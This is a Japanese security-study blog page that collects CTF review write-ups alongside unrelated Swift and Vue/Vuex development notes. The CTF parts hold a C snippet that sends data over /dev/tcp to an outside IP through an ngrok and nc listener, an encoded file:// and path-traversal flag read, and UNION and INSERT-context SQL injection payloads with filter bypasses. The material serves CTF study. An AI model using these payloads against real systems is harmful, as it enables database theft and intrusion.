セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける

あらまし

ContrailCTFにオンタイムで参加できず、writeupを見ながら復習していた時、ngrokなるサイトが紹介されていたのでメモがてら備忘録です。


NoWallForUs

という問題のwriteupに使われていました。シナリオとしては競プロサイトで、Cなど任意言語でhelloを出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら

www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrokを使っていました。

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL);
        return -1;
}

[引用元:https://www.ryotosaito.com/blog/?p=400]



自分のマシンで受け付ける

ngrokに登録して、必要なファイルをダウンロード。インストールを行います(省略) ngrok - secure introspectable tunnels to localhost

ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回osubuntuです。

$nc -l 1234


新しいタブを開いて、ngrokを起動し、ncで待ち受けているやつに紐付けます。

$./ngrok tcp 1234

コンソールが表示され接続先がわかります。 f:id:thinline196:20200105190045p:plain
あとはpingなどを飛ばしてipアドレスを特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。

【復習回】Archiso Web Challenges 2019

この記事は

解けなかった問題や違う解法を自分用に残しておくものです。writeupは他の方のをぜひご覧ください。

参考先

aokakes.hatenablog.com


Single Page HTML Viewer 2

テキストフィールドにurlを入力して/flagファイルの中身を見る問題です。flagという文字を入力は弾かれます。別途サーバ立ち上げてなんか描画させるのかと思ってましたが違うようです。

f:id:thinline196:20191229212523p:plain

さらに予想として,burpでクエリにファイルパスを入れればフロント側のフィルタを回避できるかと思ったのですが、サーバサイドでもflagという文字を弾いている模様。最終的にurlエンコードしたfile:///%66%6c%61%67inputフィールドに入れればok。またリクエスト時にurlエンコードがさらにかかるようなので、burpfile%3A%2F%2F%2F%2566%256c%2561%2567を投げても良い。

iwb.jp

Go Mikuji

このページの一番下に紹介されています。物理ファイルの操作にpath/filepathではなくpathを使うとディレクトリトラバーサルができるようになる。 mattn.kaoriya.net

// 主要部
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path)))
        path := strings.Replace(name, "\\", "/", -1)
        f, err := os.Open(path)
...
...

http.HandleFunc("/public/omikuji", func(w ht...
app % tree .
.
├── flag.txt
├── main.go
└── public
    └── index.html


https://awebc19.archiso.dev/problems/go_mikuji/omikuji //

https://awebc19.archiso.dev/problems/go_mikuji/..%5cflag.txt

バックスラッシュは%5cで入力。これで発火してpublic/../flag.txtを表示します。

Dolls Data 2 & 3

f:id:thinline196:20191229221615p:plain 1は普通のunion selectでした。

' and 0 UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns;--

2ではコロンを入力できなくなっているので、joinでつなぐようです。

' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --


一度に全てのテーブルとカラムを取得するにはこれ。

' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --



3では空白とハイフンが消される模様。今までハイフンつけてたけれど、;だけで良さそう?2の解法の空白/**/に全て置き換えれば通るそうです。
今回どこがエスケープされるようになったかは、レスポンスに含まれるinputパラメータを見て、入力と比較して消されている文字を探せば見つかりました。

【Swift5】AXIsProcessTrustedWithOptions(_:) アクセシビリティのダイアログ(Window)が表示されない[MacOS]



情報が乗ってないわけではないのですが、日本語のMacOSの解説が少ないので残しておきます。この記事での原因はaddGlobalMonitorForEventsです。

developer.apple.com

f:id:thinline196:20191224092338p:plain


環境

xcode Version 11.2.1 (11B500)
Apple Swift version 5.1.2 (swiftlang-1100.0.278 clang-1100.0.33.9)



コード

コード自体は割と転がっています。新規Cocoa Projectを作って、AppDelegateapplicationDidFinishLaunching()メソッドに記述します。AXIsProcessTrustedWithOptions()を呼ぶことで、アプリケーションに許可がない時にダイアログを表示することができます。

 let options: NSDictionary = [kAXTrustedCheckOptionPrompt.takeRetainedValue() as NSString: true]
    if !AXIsProcessTrustedWithOptions(options){
     //タイマーでチェックし続けるなどをよくする
   }


原因

僕の場合は、addGlobalMonitorForEvents()(アプリを開いてなくてもバックグラウンドでイベントを仕込める)を利用していたので、AppSandboxを切る必要がありました。左のプロジェクト階層のトップを開いて、Sging&Capabilitiesタブを開きます。(Teamは設定しておくと良いかも) f:id:thinline196:20191224092934p:plain


AppSandboxの右上のxボタンを押して消します。 f:id:thinline196:20191224092940p:plain


これで表示されると思います。

【MySQL】VALUESの中に他テーブルの文字を挿入[SQLi]

想定

下の$paramsの部分が入力になっている。ここで保存した値が、一覧ページに表示される仕様になっている。

INSERT INTO table_name (column_name1, column_name2) VALUES (1, $params) ;

スキーマ名をカラムに保存

$params = (select group_concat(schema_name) from information_schema.schema)



table名をカラムに保存

$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='必要ならスキーマ名')


group_concatには独自でまとめられる個数制限があるらしいので、like句などで絞ってBurpIntruderなどでa-zを回すと効率良い。

$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_NAME like 'a%')



カラム名を保存

(select group_concat(COLUMN_NAME) from information_schema.columns where table_name='テーブル名')


最後に

あとは出題に合わせて適宜'などを入れてください。(CTF)

【rails_vue_melt】Vuexを使う&管理


はじめに

前回はrails_vue_meltというgemを利用してRailsvue.jsを導入しました。今回はVuexをいい感じに管理しようと思います。が、もっと良いわけたかがあると思うので、普段使いしている方は自分のやり方でお願いします。。。


thinline196.hatenablog.com

階層構造

最終的にこんな感じになりました。

    ├── application.js
    └── vue_melt
        ├── application.js
        ├── components
        │   └── Hello.vue
        ├── mixins
        ├── options
        │   └── test_counter.js
        └── store
            ├── counts
            │   ├── actions.js
            │   ├── getters.js
            │   ├── index.js
            │   └── mutations.js
            └── index.js



中身

呼び出す人

options/test_counter.jsが今回Vuexを使いたい人です。

// app/frontend/packs/vue_melt/options/test_counter.js
import {mapActions,mapState,mapGetters} from 'vuex'
import countsModule from '../store/counts'

export default {
  data:()=>({}),
  components: {
    counts: countsModule
  },
  computed: {
    ...mapState({
      clickCount: state => state.counts.clickCount
    }),
    ...mapGetters({
      getCount:"counts/getCount"
    })
  },
  methods: {
    ...mapActions({
      increment: "counts/increment",
      initTo:"counts/initTo"
    }),
    Increment(){
      this.increment()
    },
    InitTo(value){
      this.initTo(value)
    }
  }
}


大元

ここstore/index.jsでこれから作っていくであろうVuexのモジュールを呼び出します。今回はcountsという単純に数字をカウントするものをモジュールにまとめようと思います。

// app/frontend/packs/vue_melt/store/index.js
import Vue from 'vue/dist/vue.esm'
import Vuex from 'vuex'
import countsModule from './counts'

Vue.use(Vuex)

const state = {

}

export default new Vuex.Store({
  state,
  modules: {
    counts: countsModule //ここにどんどん使いしていきます。
  }
})


countsモジュールの中身

store/counts/index.jsでモジュール内のものをまとめています。また、モジュール内で触るデータの定義はここで行いました。

// app/frontend/packs/vue_melt/store/counts/index.js
import actions from './actions'
import getters from './getters'
import mutations from './mutations'

export const state = () =>({
  clickCount: 0
})

export default {
  namespaced: true,
  state,
  actions,
  getters,
  mutations
}


getters.jsにはVuexに保存してあるデータを読み込み時使うものを定義して基本ここ経由でのみgetするそうです。

// app/frontend/packs/vue_melt/store/counts/getters.js
export default {
  getCount(state){
    return state.clickCount
  }
}


mutations.jsにはVuexに保存してあるデータに変更を加える時に使うメソッドを定義します。ここ経由でのみデータの書き換えを許可します。

//app/frontend/packs/vue_melt/store/counts/mutations.js
export default {
  increment(state){
    state.clickCount++
  },
  initTo(state,value) {
    state.clickCount = value
  }
}


actions.jsには、ビュー側からmutationsをいじるためのメソッドを定義します。ビュー側からはここに定義したもの経由でのみmutationsを呼び出すことを許可するようです。

// app/frontend/packs/vue_melt/store/counts/actions.js
export default {
  increment ({commit}){
    commit('increment')
  },
  initTo({commit},value){
    commit('initTo',value)
  }
}

使ってみる

vue_meltも含めてこんな感じで呼べました。

.t(data-vue="test_counter")
  input.inc(type="button" v-on:click="increment" value="inc") {{getCount}}
  input.reset(type="button" v-on:click="initTo(0)" value="reset")


わかりにくいですがスクショも。 f:id:thinline196:20191203174247p:plain